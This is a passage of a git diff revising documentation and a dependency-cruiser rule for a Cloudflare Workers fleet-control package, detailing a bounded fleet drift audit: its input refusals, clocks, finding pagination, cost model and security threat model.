`JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. +- Aggregate cost: one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. See the fleet control guide for the full envelope. -No existing public export changes shape, and the Worker subpath is unchanged. +The new `readFleetAuditFindingsPage()` resolves to `{findings, done, nextAfterOrdinal?}`. No existing public export changes shape, and the Worker subpath is unchanged. diff --git a/.dependency-cruiser.cjs b/.dependency-cruiser.cjs index d40cce76..48802565 100644 --- a/.dependency-cruiser.cjs +++ b/.dependency-cruiser.cjs @@ -287,7 +287,7 @@ module.exports = { name: 'fleet-control-operation-advance-avoids-concrete-transports', severity: 'error', comment: - 'The bounded audit and migration coordinators depend only on provider-neutral ports, state, and the lifecycle engine they extract stage functions from. Unlike the other bounded coordinators, backend-switch.ts, provision.ts, and fleet.ts are NOT forbidden here: the coordinators legitimately reach fleet.ts for its extracted stage functions, and the two top-level npm-cloudflare patterns are dropped because fleet.ts carries a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction. Every concrete provider/transport module, Wrangler, export stores, root barrels, and workers/ remain forbidden.', + 'The bounded audit coordinator imports eight modules directly, all provider-neutral: operation state, audit state, the deployment context, the sibling bounded inventory coordinator, the root switch coordinator (for the structural FleetRecord ingress it re-parses staged rows through), the lifecycle engine (for the stage functions it extracts), and - type-only, though tsPreCompilationDeps keeps both edges in the graph this rule walks - the inventory run-store port and the shared record and port types. This rule keeps every concrete transport it names out of the whole graph reachable behind those eight. fleet-migration-advance.ts is pre-registered in the from-set for the migration coordinator R4-C.2 will add; it does not exist yet, so only the audit half is exercised today. What the to-set forbids is exactly what it enumerates - the Cloudflare API client and its two provider leaves, the Cloudflare API rate coordinator, the Workers for Platforms backend, its switch provider, the shared ordinary-Worker core, the Cloudflare inventory and attachment-scan engines, the Wrangler runner and its two adapters, the export file-name helper, the filesystem and R2 export stores, the root barrel, and workers/. Four modules the coordinator already reaches are deliberately absent, each for its own reason: backend-switch.ts and fleet.ts are two of the eight direct imports above; provision.ts is reachable only through fleet.ts, so forbidding it would forbid fleet.ts by proxy; and database-export-store.ts, reachable under backend-switch.ts through the decommission coordinators, declares the DurableDatabaseExportStore port that both forbidden export stores implement, so forbidding it would invert the principle this rule rests on as well as fail by that same proxy argument. The two top-level npm-cloudflare patterns the sibling transport-neutral rules carry are dropped for a reason unrelated to those four: the reachable provider-binding-inventory.ts leaf holds a type-only SDK edge under tsPreCompilationDeps that dependencyTypesNot cannot exempt from a reachable to-restriction.', from: { path: [ '^packages/fleet-control/src/(?:fleet-audit-advance|fleet-migration-advance)\\.ts$', @@ -295,7 +295,7 @@ module.exports = { ], }, to: { - path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|workers-for-platforms-backend-switch-provider|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', + path: '(?:^packages/fleet-control/src/(?:cloudflare-fleet-inventory|cloudflare-worker-attachment-scan|cloudflare-client|cloudflare-ordinary-worker-operations|cloudflare-provider-errors|cloudflare-rate-coordinator|workers-for-platforms-backend-switch-provider|workers-for-platforms-backend|plain-worker-backend|wrangler-plain-worker-provisioning-api|wrangler-loop-backend|wrangler-runner|export-file-name|export-store|r2-export-store|index)\\.ts$|^packages/fleet-control/src/workers/)', reachable: true, }, }, diff --git a/docs/fleet-control.md b/docs/fleet-control.md index 131dec9b..3014e33e 100644 --- a/docs/fleet-control.md +++ b/docs/fleet-control.md @@ -215,25 +215,25 @@ The maintenance watchdog evaluates deadline expiry, SLA sweep, retention purge, ## Audit an account under a request budget -`auditFleetDrift()` still returns the complete `readonly DriftFinding[]` array in one call, with the same finding vocabulary, order, provider interaction order, and return value. When a control-plane Worker cannot hold one full audit pass inside a single request, drive the same reconciliation logic in bounded steps with `advanceFleetAudit()`. Construct a `D1FleetOperationStore` (pass an `inventoryStore` so it can release audit pins and prune), call `start` with a caller-minted lowercase UUIDv4 operation id, the caller-supplied `records`, `staleAfterMs`, and an optional explicit `generation` (defaulting to the latest finalized R3 inventory generation), then re-enqueue only the pending token each call returns. Before it takes the operation lease, a start refuses a non-positive or non-integer explicit generation, more than 10,000 records, records whose canonical bytes total more than 16 MiB, a record whose tenant tag or environment is not a string in the deployment identifier grammar, a record above the 96 KiB staged-row byte bound, or a record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. +`auditFleetDrift()` still returns the complete `readonly DriftFinding[]` array in one call, with the same finding vocabulary, order, provider interaction order, and return value. When a control-plane Worker cannot hold one full audit pass inside a single request, drive the same reconciliation logic in bounded steps with `advanceFleetAudit()`. Construct a `D1FleetOperationStore` (pass an `inventoryStore` so it can release audit pins and prune), call `start` with a caller-minted lowercase UUIDv4 operation id, the caller-supplied `records`, `staleAfterMs`, and an optional explicit `generation` (defaulting to the latest finalized R3 inventory generation), then re-enqueue only the pending token each call returns. Before it takes the operation lease, a start refuses a non-positive or non-integer explicit generation, more than 10,000 records, records whose canonical bytes total more than 16 MiB, a record whose tenant tag or environment is not a string in the deployment identifier grammar, a record above the 96 KiB staged-row byte bound, or a record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. Every such refusal has a fixed message and precedes every durable effect. That enumeration is not itself ordered, but the checks are: a start reaches them in one fixed sequence, so a given input always surfaces the same fixed message. The operation id, `staleAfterMs`, and an explicit `generation` are validated first, then the record count, then the array-wide null/non-object structure check. Each record is then canonicalized in array order, and the first record that fails is refused for its own structure bound, for the 96 KiB staged-row byte bound, or — once the running total crosses 16 MiB — for the aggregate byte bound. The array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause: a record that trips both is reported as a byte refusal when a plain re-serialization exceeds the per-record bound and as a structure refusal otherwise. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. Fleet D1 owns the operation, the stage position, and every staged row; a token is a continuation claim, not authority. An audit start pins one finalized R3 inventory generation before staging anything and keeps that pin through completion, so the operation's findings stay interpretable against the exact generation they were computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or `abandonFleetAuditOperation()` releases the pin — finalizing an operation alone does not. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winner's persisted generation. One call performs at most one bounded stage chunk: every global stage processes up to `maxItemsPerCall` items (1 through 2,000, default 500), and the `per-record` stage processes at most one Fleet record: at most one resolver triple, at most one provider inspection, and at most one guarded maintenance re-arm. A stale token returns the current durable result with no resolver, generation, or provider work, while a future token, an unknown operation, and a foreign-kind token all fail closed. -Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal and after the operation probe. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time. +Two clocks feed the bounded path. The optional `auditClock` (default `Date.now`) is sampled at most once per start call, after every pre-lease refusal, after the operation probe, and — on the create branch, where the probe found nothing — after the store read that resolves the generation to pin. Only a start that creates the operation persists the sample as `auditTimeMs`; adopted starts discard it. That persisted value drives every staleness comparison for the life of the operation, so a long-running operation does not report a record more stale than it was when the audit began. It also stamps the created run record's own `updatedAt`, the one durable write in the bounded path taken from `auditClock`; every later progress, failure, and finalize write stamps `updatedAt` from wall clock. The optional `authorityClock` (default `Date.now`) feeds only the maintenance re-arm's authority timestamp, so a first-time `authorizedAt` is stamped with call-time wall clock rather than the frozen audit time. Durable finding rows never carry raw diagnostic bytes. The bounded engine composes each of the six sanitized template families — the five `String(error)` sites (the three resolvers, the inspection, and the re-arm) and the segmented maintenance-duty error — from a fixed template alone; `auditFleetDrift()`'s exact byte-for-byte composition remains call-local and unpersisted. Any finding detail, composed by the engine or passed through from the pinned inventory generation, that fails the non-throwing safety gate (length, control bytes, or a credential-shaped substring) persists a fixed withheld-detail fallback instead of aborting the operation. -Every finding and fact passes the same shape, vocabulary, and byte-bound codec before write and after read. If store or generation corruption violates that structure, the advance throws `fleet operation state is malformed`, writes nothing from that call, and leaves the operation running. Call `abandonFleetAuditOperation()` to fail that operation and release its pin. +Every finding and fact passes the same shape, vocabulary, and byte-bound codec before write and after read. If store or generation corruption violates that structure, the advance throws `fleet operation state is malformed`, writes no operation row or progress from that call, and leaves the operation running. That scope is the operation store: a `per-record` advance can already have committed its guarded maintenance re-arm to the Fleet state store before the codec or envelope check runs. Call `abandonFleetAuditOperation()` to fail that operation and release its pin. -Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). A record whose live inspection alone would emit close to 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — exceeds that ceiling and fails the whole operation with the same reason; the operation never emits a partial finding set for one record. +Every finding or fact must also fit the staged-row envelope: a 16 KiB JSON-serialized payload, 4 KiB per string, and the operation codec's depth and node bounds. The coordinator checks this before either a global-stage write or a per-record commit; an excess fails the whole operation with the durable `emission-bound-exceeded` reason and releases the pin before the store sees the row. One record's whole emission set — its findings plus the cross-record ownership facts it newly claims — must additionally fit inside the one guarded D1 batch its `per-record` call commits: at most 99 rows (100 minus the one run-record update). 99 emitted rows plus the one run-record update is exactly the 100-statement budget and is accepted; 100 or more emitted rows fail. A record whose live inspection alone would emit 100 findings and facts — realistically, a record with on the order of 100 Durable Object bindings — therefore fails the whole operation with the same reason; the operation never emits a partial finding set for one record. -Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in; finding ordinals are contiguous from zero and a page holds the smallest qualifying ordinals, so advance the cursor by the page length (`afterOrdinal = (afterOrdinal ?? -1) + findings.length`) until `done`. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. +Read the findings back page by page with `readFleetAuditFindingsPage(store, {operationId, afterOrdinal, limit})` once the operation is terminal — a failed operation's findings remain readable; it never touches the inventory store. Each page comes back in ordinal order whatever order the store's page arrived in, and carries `nextAfterOrdinal`, the cursor to pass back as `afterOrdinal` on the next call; it is absent only on an empty page, which is legal only when `done` is set. Page until `done`. Two guarantees stand behind that cursor, and they have different owners. Finding ordinals are contiguous from zero because the write path enforces it, not because the read port promises it: every commit that advances the finding count asserts a dense prefix over the first N finding ordinals. That a page holds the smallest qualifying ordinals is instead the conformance requirement `FleetOperationStore.readOperationRowsPage` places on the store. The reader verifies both rather than trusting them — a page that is empty while unfinished, or that is not the contiguous ordinal run following the cursor, refuses with `fleet operation state is malformed` — so a non-conforming store cannot spin the paging loop forever. `abandonFleetAuditOperation()` is the only way to unblock a stuck running operation: it fails the operation and releases its pin, and, called again on an already-terminal operation, releases any pin that survived a crash between the terminal commit and the pin release, without changing operation state. -Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. This is the same accepted trade-off documented for bounded inventory below. +Per-call cost is not free: every advance call that runs a stage chunk re-reads the pinned generation in full (under the requirement that an account's finalized generation materialize inside the 128 MB isolate — R3's own per-item bounds are the only cap, and its D1 reader issues two unbounded SELECTs) and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set is the larger of the two by row count — its read cap is 990,000 rows against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. Each stage-running call also re-parses every re-paged `record` row through the package's structural FleetRecord ingress. Per record, that ingress performs three plain-data traversals: a bounded plain-data clone, a JSON serialization for the clone's byte bound, and a discarded `structuredClone` probe. Those traversals enforce bounds and plainness, while field shape rests on the store contract that this coordinator staged each row under canonical serialization. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. -The equivalence proof assumes that `start` accepts its inputs: at most 10,000 caller records whose canonical bytes total at most 16 MiB, each within the 96 KiB staged-row byte bound and the per-record structure bounds — plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key; every record satisfies the deployment identifier grammar, and any explicit generation is a positive safe integer. The bounded path differs from the drain in exactly four classes. First, every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic. Second, any unsafe finding detail, whether composed or passed through, becomes the fixed withheld-detail fallback. Third, concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth; the bounded path's typically older snapshot makes both outcomes more likely than in a drain at audit start. Fourth, `emission-bound-exceeded` (from either the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart: `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain, under identical frozen worlds and clocks. +The equivalence proof assumes that `start` accepts its inputs: at most 10,000 caller records whose canonical bytes total at most 16 MiB, each within the 96 KiB staged-row byte bound and the per-record structure bounds — plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key; every record satisfies the deployment identifier grammar, and any explicit generation is a positive safe integer. The bounded path differs from the drain in exactly four classes. First, every resolver, inspection, and re-arm failure and every multi-duty `maintenance-stale` finding persists one of the six fixed detail-template families where the drain composes the raw diagnostic. Second, any unsafe finding detail, whether composed or passed through, becomes the fixed withheld-detail fallback. Third, concurrent mutation can cause either a re-arm refusal on a Fleet reread mismatch or inspection-derived findings against later provider truth; the bounded path's typically older snapshot makes both outcomes more likely than in a drain at audit start. Fourth, `emission-bound-exceeded` (from either the staged-row envelope or the 99-row ceiling) and `generation-unavailable` are terminal whole-operation failures with no drain counterpart: `auditFleetDrift()` completes and returns its full finding array over the identical world and clocks. Every other output is proven byte-for-byte equivalent to the drain, under identical frozen worlds and clocks. The four-class claim also assumes `backendFor`, `specFor`, and `maintenanceSecretFor` are functions of record *value*: the bounded path hands them canonical snapshots rebuilt from the staged rows, never the caller's own objects, so an identity- or prototype-keyed resolver diverges from the drain in a fifth way this list does not cover. ## Inventory an account under a request budget diff --git a/docs/security-threat-model.md b/docs/security-threat-model.md index a85bdd38..d9016437 100644 --- a/docs/security-threat-model.md +++ b/docs/security-threat-model.md @@ -170,17 +170,17 @@ Only a finalized generation is readable. Partial, failed, and count-divergent ge ### Bounded fleet audit -A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message and precedes every durable effect. The `staleAfterMs` and operation-id refusals also occur before the lease. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass and reads no caller-supplied object afterward, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. +A bounded audit operation persists its findings, cross-record ownership facts, and progress in Fleet D1 under the same operation-store boundary as bounded inventory. Caller-supplied records are one provenance class: before taking the operation lease, `start` refuses more than 10,000 records, records whose canonical bytes total more than 16 MiB, any record above the 96 KiB staged-row byte bound, or any record outside the per-record structure bounds: plain JSON data (no `undefined`-valued properties, dates, class instances, or cycles) within depth 64, 8,192 nodes, and 4 KiB per string value or object key. It also requires string tenant tags and environments that satisfy the deployment identifier grammar. Every such refusal has a fixed message, precedes every durable effect, and is reached in one fixed order, so a given input always surfaces the same message. The operation-id, `staleAfterMs`, and explicit-`generation` checks run first, then the record count, then the array-wide null/non-object structure check; each record is then canonicalized in array order, the first offending record deciding; and the array-wide identifier-grammar check runs last, after every byte and structure refusal. All of that precedes the lease. Within one record the structure and byte bounds are classified by first-true predicate rather than by actual cause, so a record that trips both is reported under whichever the classifier reaches first, not necessarily the bound a reader would call the cause. After the lease row is written, the foreign-kind, no-finalized-generation, and `auditClock`-sample refusals (`fleet audit auditClock sample must be a non-negative safe integer representable by Date`) write nothing else. The coordinator stages the canonical record snapshots taken during the intake pass, so a caller cannot mutate its records, array, or action fields after the digest to diverge the digest from the staged rows or the pin owner from the operation. Caller-supplied *functions* are the one input the intake does not snapshot, so the coordinator still calls back into caller code after it: a start samples `auditClock` inside the lease, and a record-processing call can reach `backendFor`, `specFor`, `maintenanceSecretFor`, and — only through the guarded maintenance re-arm — `authorityClock`. Each of those four sits behind the preceding step, so a record-processing call can also complete without invoking any of them. Provider observations are a different provenance class. Finding `tenantTag` and `environment` values can originate in inventory findings or registration-, deployment-, route-, and namespace-derived findings; fact `key` values can originate in live inspection identifiers. The bounded audit persists and reports finding identifiers as found, exactly as `auditFleetDrift()` returns them. The audit API's `readFleetAuditFindingsPage()` never returns fact rows; the exported `FleetOperationStore` port can page any row kind. A persisted fact key can surface inside a later finding's detail. For example, a later `duplicate-namespace` finding can name the namespace id claimed by an earlier record. The non-throwing detail gate then withholds an unsafe key and reports a benign key verbatim when the composed detail stays within the 4 KiB detail bound; a longer composed detail is withheld by length. The pinned R3 generation has already bounded finding identifiers to 512 bytes and excluded credential substrings, but its gate permits empty strings and control bytes. Live fact keys do not pass through R3; R4 bounds them to 4 KiB without a content grammar, so it also preserves empty strings and control bytes. -Any finding `detail`, composed by the engine or passed through from the pinned inventory generation, passes a non-throwing credential-substring and control-byte gate on write. Unsafe detail is withheld through the fixed `finding detail withheld: unsafe bytes (kind '')` fallback rather than aborting the operation, while the read codec still enforces the control-byte rule and accepts an empty detail. Before either global or per-record staging, the coordinator checks every finding and fact against the staged-row codec's serialized-payload, per-string, depth, and node bounds. An excess fails the operation durably as `emission-bound-exceeded` and releases its pin before the store sees the row. Finding and fact shape, vocabulary, and byte bounds remain enforced on both write and read; after the coordinator's envelope preflight, a write-side codec failure means store or generation corruption, so the advance throws `fleet operation state is malformed`, persists nothing from that call, and leaves the operation running until `abandonFleetAuditOperation()` fails it and releases its pin. +Any finding `detail`, composed by the engine or passed through from the pinned inventory generation, passes a non-throwing credential-substring and control-byte gate on write. Unsafe detail is withheld through the fixed `finding detail withheld: unsafe bytes (kind '')` fallback rather than aborting the operation, while the read codec still enforces the control-byte rule and accepts an empty detail. Before either global or per-record staging, the coordinator checks every finding and fact against the staged-row codec's serialized-payload, per-string, depth, and node bounds. An excess fails the operation durably as `emission-bound-exceeded` and releases its pin before the store sees the row. Finding and fact shape, vocabulary, and byte bounds remain enforced on both write and read; after the coordinator's envelope preflight, a write-side codec failure means store or generation corruption, so the advance throws `fleet operation state is malformed`, persists no operation row or progress from that call, and leaves the operation running until `abandonFleetAuditOperation()` fails it and releases its pin. That scope is the operation store: a `per-record` advance can already have committed its guarded maintenance re-arm to the Fleet state store before the check runs. -The bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. Both the resolver and inspection failure sites and the multi-duty `maintenance-stale` composition durably record a fixed template alone; the one-shot `auditFleetDrift()` remains byte-identical to its pre-decomposition behavior and is the only path that ever produces the raw bytes, and only into its in-memory return value, never a durable row. +The bounded engine never persists the raw diagnostic bytes a one-shot audit composes call-locally. All six families — the three resolver failures, the live inspection failure, the maintenance re-arm failure, and the segmented multi-duty `maintenance-stale` composition — durably record a fixed template alone; the one-shot `auditFleetDrift()` remains byte-identical to its pre-decomposition behavior and is the only path that ever produces the raw bytes, and only into its in-memory return value, never a durable row. An audit start pins exactly one finalized R3 inventory generation before it stages any row and keeps that pin through completion, so a finding page stays interpretable against the exact generation it was computed from until the caller explicitly discards the result. Only explicit result garbage collection, terminal failure, or operator abandonment releases the pin; a crash between a terminal commit and its pin release leaves a terminal-but-still-pinned window that the next prune or abandonment call closes, release-first, so an orphan pin cannot outlive its operation. When the initial probe finds the operation, a replayed start never re-resolves "latest": it reuses the persisted generation. If the probe races a concurrent creator and `startOperation()` adopts that winner, the replay can resolve "latest" locally but discards that resolution and pins the winning record's persisted generation. -Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls: one per-record-to-finalize transition, one processing call per record, and at least one call per global source. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows; a record-processing `per-record` call additionally re-pages accumulated `fact` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured about 0.25 ms per record-row re-parse per call: one per-record call over 1,001 accumulated rows took roughly 0.5 s in fix 7, and a 1,200-record full drain took roughly 122 s in fix 6. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. +Every bounded audit advance call that runs a stage chunk re-reads the pinned generation in full and re-pages the operation's accumulated `record` rows; a record-processing `per-record` call additionally re-pages the accumulated `fact` rows. Each stage-running call also structurally re-parses every accumulated `record` row through three plain-data traversals: a bounded clone, a JSON serialization for its byte bound, and a discarded `structuredClone` probe. That three is this coordinator's own ingress only: against the D1 store each of those same rows additionally costs a `JSON.parse` of the stored payload and the staged-row codec's own bounded-plain pass, so the real per-row constant factor is higher than three. `finding` rows are never re-paged. A stale token, a `start`, and a `finalize` call read neither. An audited account's finalized generation must materialize inside the 128 MB Workers isolate. The accumulated `record` and `fact` row sets materialize in that same isolate: at the 10,000-record ceiling the fact set is the larger of the two by row count — its read cap is 990,000 rows against the record cap of 10,000 — so size the isolate for all three, not for the generation alone. The complete aggregate cost of one bounded audit spans `1 + records + Σ max(1, ⌈source_i / maxItemsPerCall⌉)` stage-running calls, for a `maxItemsPerCall` held constant across the operation — the option is per-call, so varying it between calls changes the count: one per-record-to-finalize transition, one processing call per record, and at least one call per global stage. The sum runs over the eleven global stages rather than over distinct sources: `deployment-gaps`, `namespace-expectations`, and `r2-expected` each chunk the audited-record array independently, so that one array is walked by three separate stage runs. Every such call re-reads O(G) generation rows and re-pages and structurally re-parses O(R) accumulated `record` rows. In the records-dominated case, this is O(records) full generation re-reads, O(records²/1,000) accumulated-row page reads, O(records²) billed rows read, and O(records²) structural `FleetRecord` re-parses at three plain-data traversals each, the dominant CPU term. This checkpoint's in-memory suite measured roughly 0.25 ms per record-row re-parse and roughly 0.5 s for one `per-record` call over 1,001 accumulated rows, so about half of that call was re-parsing and the rest was its per-call fixed cost: the pinned-generation re-read, both row pagings, and the record's own provider step. Read the per-row rate as the 0.25-to-0.5 ms band those two figures bracket rather than as a single constant, and as an order of magnitude from in-memory fakes rather than a production measurement. A late per-record call at the 10,000-record ceiling therefore spends seconds of isolate CPU re-parsing before its provider work. The per-call guarantee covers bounded provider work and bounded emission, not bounded CPU or bounded rows read. ### Deployment sentinel diff --git a/packages/fleet-control/CLAUDE.md b/packages/fleet-control/CLAUDE.md index c24bb25f..4c5f02fc 100644 --- a/packages/fleet-control/CLAUDE.md +++ b/packages/fleet-control/CLAUDE.md @@ -21,6 +21,7 @@ Source map: - `decommission-database.ts`: provider-neutral bounded D1 reference, receipt, export-result, and deletion-settlement choreography - `json-field-reads.ts`: JSON field readers shared by provider adapters and error sanitization - `state-store.ts`, `migration-ledger.ts`, `d1-fleet-state-database.ts`, `database-export-store.ts`, `export-file-name.ts`, `export-store.ts`, `r2-export-store.ts`: durable fleet state (`d1-fleet-state-database.ts` adapts a Workers D1 binding to the state store's database port; `database-export-store.ts` declares `DurableDatabaseExportStore`, which `export-store.ts` implements over the filesystem and `r2-export-store.ts` over an R2 binding; `export-file-name.ts` holds the portable-segment check both stores use) +- `fleet-operation-state.ts`, `d1-fleet-operation-store.ts`, 